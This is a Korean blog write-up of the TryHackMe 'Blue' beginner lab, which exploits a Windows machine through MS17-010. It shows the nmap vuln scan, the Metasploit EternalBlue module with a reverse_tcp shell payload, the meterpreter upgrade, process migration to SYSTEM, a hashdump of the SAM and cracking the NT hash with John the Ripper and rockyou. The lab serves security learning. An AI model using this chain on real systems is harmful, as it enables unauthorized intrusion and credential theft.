윈도우 머신을 해킹하는 문제인가보다.
Task1: Recon
Scan and learn what exploit this machine is vulnerable to. Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up. This room is not meant to be a boot2root CTF, rather, this is an educational series for complete beginners. Professionals will likely get very little out of this room beyond basic practice as the process here is meant to be beginner-focused.
이 머신은 ping에 응답하지 않는다고 한다. 초급자를 위한 교육용 문제 풀이라고 함.
- Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)
일단 머신을 스캔하라고 한다. 어떻게 하는지 잘 모르겠으면 Nmap 단계 실습을 해보라고 함! 굉장히 쉬운 문제인가보다. 어려우면 이것도 풀어봐야지.
https://tryhackme.com/r/room/furthernmap
완전 기본으로만 했을 때 결과.
근데 뭘 스캔하라는지 정확하게 모르겠어서 hint도 있길래 참고했다.
nmap -sV -vv --script vuln TARGET_IP
-sV: Probe open ports to determine service/version info, 열린 포트의 서비스/버전 정보를 확인
-vv: 많은 정보, 자세한 정보 출력
--script: 이건 처음보는데, NSE(Nmap Script Engine) 스크립트라고 불린다. 네트워크 스캔, 취약점 진단시 사용되고, 5개의 카테고리가 있다고 한다. 그 중 하나가 Vulnerability exploitation인데, 취약점 공격 스크립트라고 한다.
되게 자주 쓰이는 옵션들이다.
결과는 정확히 잘 모르겠지만, 일단 알려진 포트가 4개, unknown 포트가 5개 출력되었다.
- How many ports are open with a port number under 1000?
1000번 아래로 오픈되어 있는 포트는 몇개가 있나?

3개!
- What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)
Microsoft 보안 게시판 MS17-010 - 위험
이 보안 업데이트는 공격자가 특별히 작성된 메시지를 Microsoft Server 메시지 블록 1.0(SMBv1) 서버로 보내는 경우 원격 코드 실행과 관련된 Microsoft Windows의 취약성을 해결합니다.
learn.microsoft.com
Task 2: Gain Access
Exploit the machine and gain a foothold.
- Start Metasploit
메타스플로잇을 실행하라고 한다. GUI로 실행하려면 마우스 커서를 가상머신 오른쪽에 갖다대면 메타스플로잇 실행 프로그램이 바로 뜨고, cmd에서 실행하려면 msfconsole이라고 입력해주면 된다.
- Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/........)

메타스플로잇을 실행했다.
메타스플로잇은 CVS-취약점 공격을 분석할 수 있는 모의 해킹 툴이다.
사용법은 search -h 명령어를 입력하면 됨.
무슨 키워드 같은 것도 있고
예시도 있다.
search cve:2009 type: exploit
cve:2009는 2009년에 발생한 취약점을 찾는거 같고, type: exploit은 말그대로 동작가능한 익스플로잇을 출력하는 것 같다. platform: linux은 운영체제 종류를 말하는 듯.
아무렇게나 검색을 해봤는데, (search cve:2016 platform:windows type:exploit) 다음과 같이 출력되었다.
힌트에는 search ms??라고 나오는데, 저렇게 옵션없이 문자만 입력하면 그 문자가 포함되는 것들을 출력하는 것 같다.
그럼 아까 task1에서 풀었던, ms17-010 취약점을 입력하면 되지 않을까?
다음과 같이 5개의 결과가 나왔다! 이 중 0번 절대경로를 입력했는데, 정답이었다.
- Show options and set the one required value. What is the name of this value? (All caps for submission)


- Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:
set payload windows/x64/shell/reverse_tcp
With that done, run the exploit!

이 payload라는 명령어는, exploit이 성공하면 해당 명령어를 실행하도록 하는 것 같다. (즉, 최종 목적 코드)
그리고 실행은 run!
아 rhosts 설정을 안했다;
다시 run!
뭔가가 실행되고 있다!
- Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.
익스플로잇이 잘 됐는지 확인하고, 쉘 뒤로 가려면 ctrl+z를 누르면 된다고 한다. 보면
쉘이 C:\Windows\system32>로 바뀌어 있는 것을 확인할 수 있다.
Task 3: Escalate
Escalate privileges, learn how to upgrade shells in metasploit.
쉘 업그레이드 하는 법을 메타스플로잇을 통해 배워보자.
- If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)
https://www.hahwul.com/2016/02/17/metasploit-default-shell-meterpreter/
[METASPLOIT] Default Shell을 Meterpreter Shell로 업그레이드하기(Nomal Shell to Meterpreter shell)
Metasploit 모듈 중 shell_to_meterpreter라는 POST 모듈이 있습니다. 이 모듈을 이용해서 reverse_tcp, bind_tcp 등 일반 쉘을 meterpreter shell로 업그레이드 할 수 있습니다.
www.hahwul.com
meterpreter 변환 방법은 해당 글을 참고했다.
post module
- Select this (use MODULE_PATH). Show options, what option are we required to change?
use를 해서 show options을 해봤다. 어떤 옵션을 변경해야하는지 물어보고 있다.

Required에 yes가 되어있는건 값 세팅이 필요하니까 session이 정답이다.
- Set the required option, you may need to list all of the sessions to find your target here.

아무것도 없다.
- Run! If this doesn't work, try completing the exploit from the previous task once more.
음.. sessions이 활성화된게 없는데 어떻게 하면 좋을까!
생각해보니까 아까 세션을 모두 종료하고 meterpreter만 실행해서 그런 것 같다. 백그라운드에 task1에서 수행한 세션이 있어야하는데 말이다. 그래서 다시 task1부터 시도했다.
session이 있다!
session을 설정해주고, run을 해보자.
잘된다.
- Once the meterpreter shell conversion completes, select that session for use.

이렇게 하라는 걸까?
아 다시 해당 타겟을 실행하는 것 같다!
NT AUTHORITY\SYSTEM으로 권한 상승이 되었는지 확인하고, 이를 확인하려면 getsystem을 run하라고 한다. dos shell을 열어서 (cmd shell을 통해서 whoami 사용) 확인하고, 우리가 시스템이라는 것을 반환해야 함. 그 후에 다시 이 쉘을 백그라운드로 전환하고, meterpreter 세션을 다시 사용할 수 있도록 한다.
문제가 원하는 nt authority\system이 맞다.
sessions -i 옵션을 주면 쉘과 interact 할 수 있는? 건가 보다. 이건 잘 모르겠어서 검색했다. (다시 공부하기)
- List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).
ps 명령어를 사용해 실행중인 모든 프로세스를 나열하고,, 우리가 시스템이라도 우리의 프로세스가 시스템인 것은 아니다.. ps 명령어를 사용해서 나오는 프로세스 맨 아래에 NT AUTHORITY\SYSTEM에서 실행되고 있는 프로세스를 찾아서 PID를 입력하라고 한다.

ps만 입력해봤다.
하단에 있는 프로세스의 pid를 적으라는데..

제일 밑에 있는건 SearchIndexer.exe이다. 2952
- Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.
내가 입력한 pid를 참고해 'migrate PROCESS_ID' 명령을 사용해 이 프로세스로 이동하라고 한다. 여러번 시도해야 할 수 있고, 프로세스 이동이 안정적이지 않을 수 있어서 가상머신을 다시 실행해야할 수도 있으니 이런 경우는 다른 프로세스를 시도하라고 한다.
제일 밑에있는 프로세스를 입력했는데 접근 거부를 당했다.
그 위에있던 svchost.exe 2852도 거절을 당했다.
cmd인가 싶어서 해봤는데, 이것도 아니다. 계속 해봤는데 에러가 떠서 자세히보니 어느 순간부터 에러가 떠서 작동을 안하는거였다... 2132부터 에러가 난 것 같다.....
다시 하는게 정말 귀찮지만 다시 했다.. 참고로 처음에 했던 메타스플로잇 프로세스 강제종료하고 다시 해야 함..
시간이 너무 많이 걸려서 다음날 다시 했다. (나중에는 그냥 이 session 하나만 삭제하고 해도 되긴 했다)
그렇게 몇번의 시도 끝에 services.exe로 migration을 성공했다.
Task 4: Cracking
Dump the non-default user's password and crack it!
non-default 유저의 비밀번호를 크랙해라.
Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?
권한 상승한 쉘에서 haskdump 명령어를 실행해라. 우리가 권한을 가지고 있다면 머신 내에 있는 모든 암호를 덤프할 것이다.. non-default 유저의 이름이 무엇인지 알아내는 문제.
검색해보니까 hashdump라는 명령어는 SAM 파일을 덤프하는 것 같다.
hashdump 결과! Administrator와 Guest 외에 또 하나의 유저가 있다. 바로 일반 사용자 Jon이다.
Copy this password hash to a file and research how to crack it. What is the cracked password?

john --format=NT --wordlist=/root/Desktop/Tools/wordlists/rockyou.txt pwdump.txt
--format: 어떤 종류의 암호를 풀고 싶은지
--wordlist: 어떤 워드리스트 파일을 사용할 것인지
그리고 마지막에 크랙하고자 하는 파일을 입력해주면 된다.
10초만에 비밀번호가 크랙됐다.
Task5: Find flags!
3개의 플래그를 찾아야 한다.
they're meant to represent key locations within the Windows system. Use the hints provided below to complete this room!

flag1.txt 파일이 들어있다!
Flag2? This flag can be found at the location where passwords are stored within Windows.
*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.
일단 users\Jon 폴더에 들어가서 이것저것 확인해보았다.
flag3.txt 파일이 들어있다!
소요시간: 5시간
'CTF, 워게임 문제 풀이 > Try Hack Me' 카테고리의 다른 글
Benign 문제 풀이 (0) | 2024.05.02 |
---|---|
Investigating with Splunk 문제 풀이 (0) | 2024.05.02 |
NMAP 문제 풀이 (0) | 2024.04.01 |
Anthem 문제 풀이 (0) | 2024.03.27 |
Agent Sudo 문제 풀이 (0) | 2024.03.26 |
댓글